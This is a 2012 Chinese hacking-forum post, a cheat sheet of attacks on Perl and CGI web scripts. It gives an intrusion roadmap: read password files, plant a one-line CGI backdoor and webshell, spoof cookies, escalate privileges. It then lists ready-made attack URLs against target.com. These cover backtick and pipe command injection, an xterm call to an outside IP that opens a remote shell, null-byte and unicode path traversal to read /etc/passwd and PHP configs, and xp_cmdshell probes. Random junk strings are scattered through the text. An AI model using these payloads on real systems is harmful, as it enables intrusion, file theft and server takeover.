找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3082|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  , D( U9 v, U6 v' c' @6 z
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  % a1 U2 {) a% y8 z6 |+ j3 G
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
/ e9 I$ R4 p( @注“  
+ A8 ?4 ]3 l: A( Z" tperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  3 H  y6 x) _$ t. F0 @. P( I
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
$ n7 x* ~9 ]& A/ d2 E6 q1 V  Z$ _, `9 R7 w
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  9 j, u0 d+ s/ w5 r2 t
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  4 Y; C* y9 \6 l+ f: C& A
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  " i! u4 f$ |: j4 h
http://target.com/cgi-bin/home/news/sub.pl?`id`  ! \- r, P* b* R0 J  X
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
% z! b6 e  J  @/ ~2 xhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
# N% c; y6 o& P, D6 F+ K1 R# c. i
8 [% F( ^3 H& F$ ~http://target.com/test.pl;ls|  
1 W7 b& L, Y5 Xhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  + p* t5 T5 |% e: X, k
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  + k+ [$ s, i) @/ B  k8 y# N- @4 r
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
5 E! p3 F# s3 T: J比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
8 R9 a7 ^3 O2 V# [. thttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
! Z% X+ w( F3 h1 b6 j8 E: t
& l; v. a; x2 I+ ghttp://target.com/test.pl?&........ /../../etc/passwd  
, [7 _1 K( L- s. C$ F6 Z8 s. o6 N/ D# E( O) l) k
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  8 K( B" c# l% j/ e
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
2 @( A- n8 J+ ?8 u! l) U; Nhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  + ^5 ^* f. i; ]9 H
: W! X3 F+ S0 a& U# Q8 U
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
0 L8 v8 ?, U* T) w) ahttp://www.target.org/show.php?f ... ng/admin/global.php  ; l5 x+ G6 s- k/ R  ^  \+ L

4 x1 C# _- m# Kemm和ps的一句话/ K8 x9 c  \3 G

; F  r0 }) ]6 w( K/ Ehttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  # X7 w" O9 k  m/ r+ W+ Z" H

6 w$ ?* t0 `  {- b' _0 D. E0 t' D>bbb%20|  
7 j9 O3 z- F$ d; _9 Q0 N/ I  A3 P8 G' b: R
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  : F, n* a8 Y. k% U8 I3 N

& O9 l; Z3 s2 C, ?5 }! lhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  * S" `. o# F& {" L. n
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  2 S8 S# t) j9 o5 K$ {
* k6 U4 u8 c2 W* N. ^+ t
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
* P; j5 D+ H5 S- }http://target.com/index.html#cmd.exe  
( t" R4 k) \1 S* ]) p( w) Fhttp://target.com/index.html?dummyparam=xp_cmdshell  
- i, D4 k0 d" C! r- V& blynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
. o# e' R  }& _0 G9 I0 l  ?$ a$ U9 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表